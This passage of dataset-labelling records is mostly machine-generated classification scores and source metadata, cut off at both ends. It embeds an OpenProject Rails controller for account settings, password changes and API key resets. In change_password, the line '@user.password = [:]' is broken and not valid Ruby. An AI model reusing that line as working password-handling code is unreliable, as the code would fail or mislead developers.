"output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9852, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:14.516394+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "32657733-1c0a-4e3a-b224-f74b15be2243", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "5b87e07904d5c4f643ee7f550856fd93104d06d8d8da25670bddf8e51e88aa4c", "source_metadata": {"uuid": "32657733-1c0a-4e3a-b224-f74b15be2243", "repo_name": "morizotter/SwiftyDrop", "relative_path": "vendor/bundle/gems/cocoapods-1.5.3/lib/cocoapods/installer/user_project_integrator/target_integrator/xcconfig_integrator.rb", "category": "TOOL", "algo_rel_score": 0.7705787420272827, "quality_score": 5.4904890060424805, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 183, "repo_created_at": "2015-06-20T19:24:00.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 679, "forks": 75, "issues": 12, "pull_requests": 1}, "file_meta": {"content_id": "9a4218d5c599ba941b899ba70f909e177ab56e91", "size_bytes": 6331, "file_timestamp": 1538584147, "language": "ruby", "is_vendor": true, "license_type": "no_license", "detected_licenses": []}, "commit_id": "a4e7ba1c225cec63740b55bf73b4082756d2f070"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 183, "repo_created_at": "2015-06-20T19:24:00.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 679, "forks": 75, "issues": 12, "pull_requests": 1}, "file_meta": {"content_id": "9a4218d5c599ba941b899ba70f909e177ab56e91", "size_bytes": 6331, "file_timestamp": 1538584147, "language": "ruby", "is_vendor": true, "license_type": "no_license", "detected_licenses": []}, "commit_id": "a4e7ba1c225cec63740b55bf73b4082756d2f070", "url": "https://github.com/morizotter/SwiftyDrop/blob/a4e7ba1c225cec63740b55bf73b4082756d2f070/vendor/bundle/gems/cocoapods-1.5.3/lib/cocoapods/installer/user_project_integrator/target_integrator/xcconfig_integrator.rb"}, "gpt4o_tokens": 1246, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9360015758360989, "noise_severity": 0.026659394477832048, "missing_content_severity": 0.03769774073635803, "factual_density": 3.460660053654465, "pretraining_utility": 0.3239214779307195, "math_density": 0.00802305183349942, "code_density": 3.8019188605981973, "reasoning_density": 1.3715678536815918, "education_level": 2.920584811186138, "creative_writing_quality": -0.16341370874415034}, "score_applicability": {"education_level": 0.9983234400715176, "creative_writing_quality": 0.0005039505034900839}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/EuroServizi/openproject_aziendale/blob/b01742229379b2bf003ded2c34a9d4ebd9b2942f/app/controllers/my_controller.rb", "id": "ruby-0-dbf1f0744d92b1a2be822a1108b02624", "text": "#-- encoding: UTF-8\n#-- copyright\n# OpenProject is a project management system.\n# Copyright (C) 2012-2015 the OpenProject Foundation (OPF)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License version 3.\n#\n# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:\n# Copyright (C) 2006-2013 \n# Copyright (C) 2010-2013 the ChiliProject Team\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# See doc/COPYRIGHT.rdoc for more details.\n#++\n\nclass MyController < ApplicationController\n layout 'my'\n\n before_filter :require_login\n\n menu_item :account, only: [:account]\n menu_item :settings, only: [:settings]\n menu_item :password, only: [:password]\n menu_item :access_token, only: [:access_token]\n menu_item :mail_notifications, only: [:mail_notifications]\n\n DEFAULT_BLOCKS = { 'issuesassignedtome' => :label_assigned_to_me_work_packages,\n 'workpackagesresponsiblefor' => :label_responsible_for_work_packages,\n 'issuesreportedbyme' => :label_reported_work_packages,\n 'issueswatched' => :label_watched_work_packages,\n 'news' => :label_news_latest,\n 'calendar' => :label_calendar,\n 'timelog' => :label_spent_time\n }.freeze\n\n DEFAULT_LAYOUT = { 'left' => ['issuesassignedtome'],\n 'right' => ['issuesreportedbyme']\n }.freeze\n\n DRAG_AND_DROP_CONTAINERS = ['top', 'left', 'right']\n\n verify xhr: true,\n only: [:add_block, :remove_block, :order_blocks]\n\n def self.available_blocks\n @available_blocks ||= DEFAULT_BLOCKS.merge(Redmine::Views::MyPage::Block.additional_blocks)\n end\n\n # Show user's page\n def index\n @user = User.current\n @blocks = get_current_layout\n render action: 'page', layout: 'base'\n end\n alias :page :index\n\n # Edit user's account\n def account\n @user = User.current\n @pref = @user.pref\n write_settings(redirect_to: :account)\n end\n\n # Edit user's settings\n def settings\n @user = User.current\n write_settings(redirect_to: :settings)\n end\n\n # Manage user's password\n def password\n @user = User.current # required by \"my\" layout\n @username = @user.login\n redirect_if_password_change_not_allowed_for(@user)\n end\n\n # When making changes here, also check AccountController.change_password\n def change_password\n return render_404 if OpenProject::Configuration.disable_password_login?\n\n @user = User.current # required by \"my\" layout\n @username = @user.login\n return if redirect_if_password_change_not_allowed_for(@user)\n if @user.check_password?(params[:password])\n @user.password = [:]\n @user.password_confirmation = params[:new_confirmation]\n @user.force_password_change = false\n if @user.save\n flash[:notice] = l(:notice_account_password_updated)\n redirect_to action: 'password'\n return\n end\n else\n flash.now[:error] = l(:notice_account_wrong_password)\n end\n # Render the username to hint to a user in case of a forced password change\n render 'my/password', locals: { show_user_name: @user.force_password_change }\n end\n\n # Administer access tokens\n def access_token\n @user = User.current\n end\n\n # Configure user's mail notifications\n def mail_notifications\n @user = User.current\n write_email_settings(redirect_to: :mail_notifications) if request.patch?\n end\n\n # Create a new feeds key\n def reset_rss_key\n if request.post?\n if User.current.rss_token\n User.current.rss_token.destroy\n User.current.reload\n end\n User.current.rss_key\n flash[:notice] = l(:notice_feeds_access_key_reseted)\n end\n redirect_to action: 'access_token'\n end\n\n def generate_rss_key\n if request.post?\n User.current.rss_key\n flash[:notice] = l(:notice_feeds_access_key_generated)\n end\n redirect_to action: 'access_token'\n end\n\n # Create a new API key\n def reset_api_key\n if request.post?\n if User.current.api_token\n User.current.api_token.destroy\n User.current.reload\n end\n User.current.api_key\n flash[:notice] = l(:notice_api_access_key_reseted)\n end\n redirect_to action: 'access_token'\n end\n\n def generate_api_key\n if request.post?\n User.current.api_key\n flash[:notice] = l(:notice_api_access_key_generated)\n end\n redirect_to action: 'access_token'\n end\n\n # User's page layout configuration\n def page_layout\n @user = User.current\n @blocks = get_current_layout\n @block_options = []\n\n # We track blocks that will show up on the page. This is in order to have\n # them disabled in the blocks-to-add-to-page dropdown.\n blocks_on_page = if User.current.pref[:my_page_layout].present?\n User.current.pref[:my_page_layout].values.flatten\n else\n []\n end\n\n MyController.available_blocks.each do |block, value|\n if blocks_on_page.include?(block)\n @block_options << [l(\"my.blocks.#{value}\", default: [value, value.to_s.humanize]), block.dasherize, disabled: true]\n else\n @block_options << [l(\"my.blocks.#{value}\", default: [value, value.to_s.humanize]), block.dasherize]\n end\n end\n end\n\n # Add a block to the user's page at the top.\n # params[:block] : id of the block to add\n #\n # Responds with a JS layout.\n def add_block\n @block = params[:block].to_s.underscore\n\n unless MyController.available_blocks.keys.include? @block\n render nothing: true\n return\n end\n\n @user = User.current\n layout = get_current_layout\n\n # Remove if already present in a group.\n DRAG_AND_DROP_CONTAINERS.each { |f| (layout[f] ||= []).delete @block }\n\n # Add it on top.\n layout['top'].unshift @block\n\n # Save user preference.\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n\n # Remove a block from the user's `my` page.\n # params[:block] : id of the block to remove\n #\n # Responds with a JS layout.\n def remove_block\n @block = params[:block].to_s.underscore\n @user = User.current\n\n # Remove block in all groups.\n layout = get_current_layout\n DRAG_AND_DROP_CONTAINERS.each { |f| (layout[f] ||= []).delete @block }\n\n # Save user preference.\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n\n def order_blocks\n @user = User.current\n\n layout = get_current_layout\n\n # A nil +params[source_ordered_children]+ means all elements within\n # +params['source']+ were dragged out elsewhere.\n layout[params['source']] = params['source_ordered_children'] || []\n\n layout[params['target']] = params['target_ordered_children']\n\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n\n render nothing: true\n end\n\n def default_breadcrumb\n l(:label_my_account)\n end\n\n private\n\n def redirect_if_password_change_not_allowed_for(user)\n unless user.change_password_allowed?\n flash[:error] = l(:notice_can_t_change_password)\n redirect_to action: 'account'\n return true\n end\n false\n end\n\n def write_email_settings(redirect_to:)\n update_service = UpdateUserEmailSettingsService.new(@user)\n if update_service.call(mail_notification: permitted_params.user[:mail_notification],\n self_notified: params[:self_notified] == '1',\n notified_project_ids: params[:notified_project_ids])\n flash[:notice] = l(:notice_account_updated)\n redirect_to(action: redirect_to)\n end\n end\n\n def write_settings(redirect_to:)\n if request.patch?\n @user.attributes = permitted_params.user\n @user.pref.attributes = if params[:pref].present?\n permitted_params.pref\n else\n {}\n end\n if @user.save\n @user.pref.save\n flash[:notice] = l(:notice_account_updated)\n redirect_to(action: redirect_to)\n end\n end\n end\n\n helper_method :has_tokens?\n\n def has_tokens?\n Setting.feeds_enabled? || Setting.rest_api_enabled?\n end\n\n def get_current_layout\n @user.pref[:my_page_layout] || DEFAULT_LAYOUT.dup\n end\nend\n", "text_preview": "#-- encoding: UTF-8 #-- copyright # OpenProject is a project management system. # Copyright (C) 2012-2015 the OpenProject Foundation (OPF) # # This program is free software; you can redistribute it and/or # modify it under the terms of the ", "input_sha256": "b82e421ff62c9b2ccf3ac70c7db786b99a9e011dd969e9f68fb5044f2c646631", "text_sha256": "dbf1f0744d92b1a2be822a1108b026241d68ff104e29cf11275c87292dedceea", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16056, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.1536503620041834, "noise_severity": 0.648082071635298, "missing_content_severity": 0.17142568609105086, "factual_density": 3.4044153455481156, "pretraining_utility": 0.39529323580178, "math_density": 0.002407852191077361, "code_density": 3.7026736428759612, "reasoning_density": 0.4911996933291806, "education_level": 2.5042592146925027, "creative_writing_quality": -0.21987940428621303}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.534787992784589, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9909840832564291, "secondary": 0.6924396337548876, "tertiary": 0.7591671040015843, "structured_records": 0.30550992563855417, "procedural_steps": 0.006670046290163892, "worked_solution": 0.000892407210852706, "contextual_dialogue": 5.68654984558706e-06, "content_quality": 0.5593114061291447, "noise_severity": 0.5423906507314749, "missing_content_severity": 0.857145261590791, "factual_density": 0.5036794546234297, "pretraining_utility": 0.45043474400206496, "math_density": 0.9979934565074355, "code_density": 0.7522280357299675, "reasoning_density": 0.5906669222256828, "education_level": 0.44974710938187334, "creative_writing_quality": 0.9992573910226643, "primary_topic": 0.9870375766026013, "secondary_topic": 0.7956515814608801}, "probability_margin": {"primary": 0.9849825235254415, "secondary": 0.47084083379817115, "tertiary": 0.5733378961290608, "education_level": 0.1519750056269718, "creative_writing_quality": 0.9990858236941003, "primary_topic": 0.9810197760294487, "secondary_topic": 0.7363700515386987}, "raw_probabilities": {"primary": {"Academic Writing": 3.304549332988017e-05, "Content Listing": 3.370931051842675e-05, "Creative Writing": 1.851971074533734e-05, "Customer Support Page": 1.3681949286352337e-05, "Q&A Forum": 1.1736058263492593e-05, "Discussion Thread": 7.605770759951983e-06, "Comment Section": 1.5285553666920715e-05, "Missing Content": 3.7952842547384175e-05, "Knowledge Article": 5.714848250264434e-05, "Legal Notices": 0.006377222928636393, "News Article": 5.93560307800692e-06, "Organizational Announcement": 2.86512593996369e-05, "Nonfiction Writing": 1.1775577782827504e-05, "Organizational About Page": 3.0384736707225622e-05, "Personal About Page": 1.1703053668789705e-05, "Personal Blog": 7.454672435791462e-06, "Product Page": 8.1098822774379e-06, "Spam / Ads": 1.0374700739778441e-05, "Structured Data": 0.0007479789737678234, "Technical Writing": 0.9913597464540779, "Transcript / Interview": 1.589909238803676e-05, "Tutorial / How-To Guide": 5.345409005085587e-05, "User Reviews": 6.70108899193597e-06, "Other / Unknown": 0.0010959227143769376}, "secondary": {"Academic Writing": 0.0005921485285900486, "Content Listing": 0.0010025476438023314, "Creative Writing": 0.0005668049927461693, "Customer Support Page": 0.00037051944629670406, "Q&A Forum": 0.0002526976123497115, "Discussion Thread": 0.0002636407155187333, "Comment Section": 0.000608733563047922, "Missing Content": 0.0007311918856831594, "Knowledge Article": 0.0009843471659449928, "Legal Notices": 0.7052546490151006, "News Article": 0.0004289090405067191, "Organizational Announcement": 0.0007091700922397151, "Nonfiction Writing": 0.0004191052502032273, "Organizational About Page": 0.0008027489852732163, "Personal About Page": 0.00038583963495194564, "Personal Blog": 0.00025559880503618436, "Product Page": 0.00036350458577386296, "Spam / Ads": 0.00035936746217717753, "Structured Data": 0.004205845224779666, "Technical Writing": 0.0459140979122509, "Transcript / Interview": 0.00047698095292174884, "Tutorial / How-To Guide": 0.0004383899482171806, "User Reviews": 0.00019934631965884143, "NONE": 0.23441381521692944}, "tertiary": {"Academic Writing": 0.0004849090475224285, "Content Listing": 0.0011214314510742324, "Creative Writing": 0.0005471576898209503, "Customer Support Page": 0.00032362619389595353, "Q&A Forum": 0.0001857360466104033, "Discussion Thread": 0.00018645223884258396, "Comment Section": 0.0005281370027462035, "Missing Content": 0.0005524336799481832, "Knowledge Article": 0.0008397663768174642, "Legal Notices": 0.19586391187245747, "News Article": 0.0003252952548777091, "Organizational Announcement": 0.0005473849853761588, "Nonfiction Writing": 0.0003585664091492657, "Organizational About Page": 0.0011791271540704741, "Personal About Page": 0.0003021043433142935, "Personal Blog": 0.00022001753031139357, "Product Page": 0.000241116559219496, "Spam / Ads": 0.0003156341490260101, "Structured Data": 0.010907733735863604, "Technical Writing": 0.014846546876470018, "Transcript / Interview": 0.0003482795146028893, "Tutorial / How-To Guide": 0.0004308290817043531, "User Reviews": 0.00014199480476005292, "NONE": 0.7692018080015183}, "structured_records": {"false": 0.6944900743614458, "true": 0.30550992563855417}, "procedural_steps": {"false": 0.9933299537098361, "true": 0.006670046290163892}, "worked_solution": {"false": 0.9991075927891473, "true": 0.000892407210852706}, "contextual_dialogue": {"false": 0.9999943134501544, "true": 5.68654984558706e-06}, "content_quality": {"-2": 0.004936574687502308, "-1": 0.013808387743847813, "0": 0.14516147577021896, "1": 0.494855224473826, "2": 0.3412383373246049}, "noise_severity": {"0": 0.4505245737434661, "1": 0.4649893625521338, "2": 0.07430395239045169, "3": 0.006243640953532538, "4": 0.003938470360415767}, "missing_content_severity": {"0": 0.8703417430250022, "1": 0.09796257519085284, "2": 0.02371124001390752, "3": 0.005897136208566602, "4": 0.0020873055616707887}, "factual_density": {"0": 0.0038505175792562228, "1": 0.00953578643614314, "2": 0.08378374126887735, "3": 0.3840077422886754, "4": 0.518822212427048}, "pretraining_utility": {"-2": 0.010599026869039511, "-1": 0.11089448195979199, "0": 0.412005696021352, "1": 0.4056158187999818, "2": 0.06088497634983458}, "math_density": {"0": 0.998431474141181, "1": 0.0011820272556355767, "2": 0.00011970976858129006, "3": 8.074994012882822e-05, "4": 0.00018603889447317977}, "code_density": {"0": 0.00029681000580551893, "1": 0.0006178799627742726, "2": 0.02220488269062328, "3": 0.2498757118312475, "4": 0.7270047155095495}, "reasoning_density": {"0": 0.689382923191032, "1": 0.17477869560182446, "2": 0.10282178808488437, "3": 0.021288950931448523, "4": 0.011727642190810437}, "education_level": {"none": 0.0011733928770472006, "0": 0.0012247673348180425, "1": 0.005564618852374932, "2": 0.5414559244848944, "3": 0.38948091885792263, "4": 0.06110037759294275}, "creative_writing_quality": {"not_applicable": 0.9993811591855536, "-2": 6.624285527538664e-05, "-1": 0.00014566488095701658, "0": 0.00029533549145335303, "1": 8.111493164102708e-05, "2": 3.048265511919326e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.946933717985036e-05, "Art & Design": 0.00021619896267459831, "Law & Crime": 0.0006570931125510948, "Education & Careers": 6.234928972175586e-05, "Entertainment & Media": 2.8450950977823338e-05, "Fashion & Beauty": 2.520104992510584e-05, "Business, Economics & Finance": 0.006516355319206331, "Food & Dining": 3.0515148815820484e-05, "Games & Gaming": 7.517364585526786e-05, "Electronics & Hardware": 7.785129735087237e-05, "Health, Healthcare & Wellness": 2.9893485095109067e-05, "History & Geography": 3.712560110893247e-05, "Home, Pets & Hobbies": 3.1977847790100975e-05, "Industry & Production": 5.039830278138305e-05, "Language, Literature & Philosophy": 4.17278432029506e-05, "Politics & Government": 5.0906233667874794e-05, "Religion & Spirituality": 3.11209978065582e-05, "Science, Mathematics & Engineering": 0.00010843654840047286, "Relationships & Community": 3.907498071651075e-05, "Software Usage & Applications": 0.0036305662007933195, "Programming & Software Engineering": 0.987536131348655, "Sports & Fitness": 4.0486732431887654e-05, "Vehicles & Transportation": 2.072601293875282e-05, "Travel & Tourism": 4.8762789938527125e-05, "Other / Uncovered Subject": 0.0004912956777991601, "Unknown / Insufficient Content": 8.271128261519408e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007442589061453952, "Art & Design": 0.0023864587101402215, "Law & Crime": 0.06714108448137832, "Education & Careers": 0.0006687887545646753, "Entertainment & Media": 0.0005684685162687547, "Fashion & Beauty": 0.00033364595206979527, "Business, Economics & Finance": 0.059935148775666476, "Food & Dining": 0.0002740416699891636, "Games & Gaming": 0.0005447056955401581, "Electronics & Hardware": 0.0005781385633593139, "Health, Healthcare & Wellness": 0.0003742502641891221, "History & Geography": 0.0003436964144996875, "Home, Pets & Hobbies": 0.000342138602055518, "Industry & Production": 0.000327310313621545, "Language, Literature & Philosophy": 0.00031757270374814, "Politics & Government": 0.0008411385144385911, "Religion & Spirituality": 0.0004611345007512548, "Science, Mathematics & Engineering": 0.0005792848644732111, "Relationships & Community": 0.00027041010171985434, "Software Usage & Applications": 0.02075713032282608, "Programming & Software Engineering": 0.03522310383037969, "Sports & Fitness": 0.0002944413788608589, "Vehicles & Transportation": 0.00017796630783451178, "Travel & Tourism": 0.0004692744485682976, "Other / Uncovered Subject": 0.0025352713868344455, "NONE": 0.8035111360200771}}, "probabilities": {"primary": {"Academic Writing": 3.3045493329880174e-05, "Content Listing": 3.370931051842676e-05, "Creative Writing": 1.8519710745337344e-05, "Customer Support Page": 1.368194928635234e-05, "Q&A Forum": 1.1736058263492596e-05, "Discussion Thread": 7.605770759951985e-06, "Comment Section": 1.5285553666920718e-05, "Missing Content": 3.795284254738418e-05, "Knowledge Article": 5.7148482502644354e-05, "Legal Notices": 0.0063772229286363944, "News Article": 5.935603078006922e-06, "Organizational Announcement": 2.8651259399636906e-05, "Nonfiction Writing": 1.1775577782827508e-05, "Organizational About Page": 3.038473670722563e-05, "Personal About Page": 1.1703053668789708e-05, "Personal Blog": 7.454672435791463e-06, "Product Page": 8.109882277437903e-06, "Spam / Ads": 1.0374700739778443e-05, "Structured Data": 0.0007479789737678236, "Technical Writing": 0.9913597464540781, "Transcript / Interview": 1.5899092388036764e-05, "Tutorial / How-To Guide": 5.3454090050855885e-05, "User Reviews": 6.701088991935972e-06, "Other / Unknown": 0.0010959227143769379}, "secondary": {"Academic Writing": 0.0005921485285900485, "Content Listing": 0.0010025476438023312, "Creative Writing": 0.0005668049927461692, "Customer Support Page": 0.00037051944629670395, "Q&A Forum": 0.00025269761234971143, "Discussion Thread": 0.00026364071551873323, "Comment Section": 0.0006087335630479218, "Missing Content": 0.0007311918856831593, "Knowledge Article": 0.0009843471659449926, "Legal Notices": 0.7052546490151005, "News Article": 0.000428909040506719, "Organizational Announcement": 0.000709170092239715, "Nonfiction Writing": 0.0004191052502032272, "Organizational About Page": 0.000802748985273216, "Personal About Page": 0.00038583963495194553, "Personal Blog": 0.0002555988050361843, "Product Page": 0.0003635045857738629, "Spam / Ads": 0.0003593674621771775, "Structured Data": 0.004205845224779665, "Technical Writing": 0.045914097912250894, "Transcript / Interview": 0.00047698095292174873, "Tutorial / How-To Guide": 0.00043838994821718047, "User Reviews": 0.00019934631965884137, "NONE": 0.2344138152169294}, "tertiary": {"Academic Writing": 0.00048490904752242854, "Content Listing": 0.0011214314510742326, "Creative Writing": 0.0005471576898209504, "Customer Support Page": 0.0003236261938959536, "Q&A Forum": 0.00018573604661040332, "Discussion Thread": 0.00018645223884258399, "Comment Section": 0.0005281370027462036, "Missing Content": 0.0005524336799481833, "Knowledge Article": 0.0008397663768174643, "Legal Notices": 0.1958639118724575, "News Article": 0.00032529525487770913, "Organizational Announcement": 0.0005473849853761589, "Nonfiction Writing": 0.00035856640914926573, "Organizational About Page": 0.0011791271540704743, "Personal About Page": 0.00030210434331429353, "Personal Blog": 0.0002200175303113936, "Product Page": 0.00024111655921949603, "Spam / Ads": 0.00031563414902601014, "Structured Data": 0.010907733735863605, "Technical Writing": 0.01484654687647002, "Transcript / Interview": 0.00034827951460288933, "Tutorial / How-To Guide": 0.00043082908170435317, "User Reviews": 0.00014199480476005295, "NONE": 0.7692018080015184}, "structured_records": {"false": 0.6944900743614458, "true": 0.30550992563855417}, "procedural_steps": {"false": 0.9933299537098361, "true": 0.006670046290163892}, "worked_solution": {"false": 0.9991075927891473, "true": 0.000892407210852706}, "contextual_dialogue": {"false": 0.9999943134501544, "true": 5.68654984558706e-06}, "content_quality": {"-2": 0.004936574687502308, "-1": 0.013808387743847813, "0": 0.14516147577021896, "1": 0.494855224473826, "2": 0.3412383373246049}, "noise_severity": {"0": 0.45052457374346616, "1": 0.46498936255213386, "2": 0.0743039523904517, "3": 0.0062436409535325385, "4": 0.003938470360415768}, "missing_content_severity": {"0": 0.8703417430250022, "1": 0.09796257519085284, "2": 0.02371124001390752, "3": 0.005897136208566602, "4": 0.0020873055616707887}, "factual_density": {"0": 0.0038505175792562228, "1": 0.00953578643614314, "2": 0.08378374126887735, "3": 0.3840077422886754, "4": 0.518822212427048}, "pretraining_utility": {"-2": 0.010599026869039513, "-1": 0.110894481959792, "0": 0.41200569602135206, "1": 0.4056158187999819, "2": 0.060884976349834585}, "math_density": {"0": 0.9984314741411812, "1": 0.001182027255635577, "2": 0.00011970976858129007, "3": 8.074994012882823e-05, "4": 0.0001860388944731798}, "code_density": {"0": 0.00029681000580551893, "1": 0.0006178799627742726, "2": 0.02220488269062328, "3": 0.2498757118312475, "4": 0.7270047155095495}, "reasoning_density": {"0": 0.6893829231910321, "1": 0.1747786956018245, "2": 0.1028217880848844, "3": 0.021288950931448527, "4": 0.01172764219081044}, "education_level": {"none": 0.0011733928770472006, "0": 0.0012247673348180425, "1": 0.005564618852374932, "2": 0.5414559244848944, "3": 0.38948091885792263, "4": 0.06110037759294275}, "creative_writing_quality": {"not_applicable": 0.999381159185554, "-2": 6.624285527538667e-05, "-1": 0.00014566488095701664, "0": 0.00029533549145335314, "1": 8.111493164102712e-05, "2": 3.0482655119193272e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.9469337179850356e-05, "Art & Design": 0.00021619896267459826, "Law & Crime": 0.0006570931125510947, "Education & Careers": 6.234928972175585e-05, "Entertainment & Media": 2.845095097782333e-05, "Fashion & Beauty": 2.5201049925105833e-05, "Business, Economics & Finance": 0.0065163553192063295, "Food & Dining": 3.0515148815820478e-05, "Games & Gaming": 7.517364585526785e-05, "Electronics & Hardware": 7.785129735087236e-05, "Health, Healthcare & Wellness": 2.989348509510906e-05, "History & Geography": 3.712560110893246e-05, "Home, Pets & Hobbies": 3.197784779010097e-05, "Industry & Production": 5.0398302781383036e-05, "Language, Literature & Philosophy": 4.172784320295059e-05, "Politics & Government": 5.090623366787478e-05, "Religion & Spirituality": 3.112099780655819e-05, "Science, Mathematics & Engineering": 0.00010843654840047284, "Relationships & Community": 3.907498071651074e-05, "Software Usage & Applications": 0.0036305662007933186, "Programming & Software Engineering": 0.9875361313486548, "Sports & Fitness": 4.048673243188765e-05, "Vehicles & Transportation": 2.0726012938752816e-05, "Travel & Tourism": 4.876278993852711e-05, "Other / Uncovered Subject": 0.00049129567779916, "Unknown / Insufficient Content": 8.271128261519407e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000744258906145395, "Art & Design": 0.002386458710140221, "Law & Crime": 0.0671410844813783, "Education & Careers": 0.0006687887545646752, "Entertainment & Media": 0.0005684685162687546, "Fashion & Beauty": 0.0003336459520697952, "Business, Economics & Finance": 0.05993514877566646, "Food & Dining": 0.00027404166998916353, "Games & Gaming": 0.000544705695540158, "Electronics & Hardware": 0.0005781385633593138, "Health, Healthcare & Wellness": 0.000374250264189122, "History & Geography": 0.00034369641449968745, "Home, Pets & Hobbies": 0.00034213860205551793, "Industry & Production": 0.00032731031362154495, "Language, Literature & Philosophy": 0.00031757270374813996, "Politics & Government": 0.0008411385144385909, "Religion & Spirituality": 0.0004611345007512547, "Science, Mathematics & Engineering": 0.000579284864473211, "Relationships & Community": 0.0002704101017198543, "Software Usage & Applications": 0.020757130322826077, "Programming & Software Engineering": 0.03522310383037968, "Sports & Fitness": 0.00029444137886085886, "Vehicles & Transportation": 0.00017796630783451176, "Travel & Tourism": 0.0004692744485682975, "Other / Uncovered Subject": 0.002535271386834445, "NONE": 0.8035111360200768}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999996, "mass_delta": -4.440892098500626e-16, "missing_mass": 4.440892098500626e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, 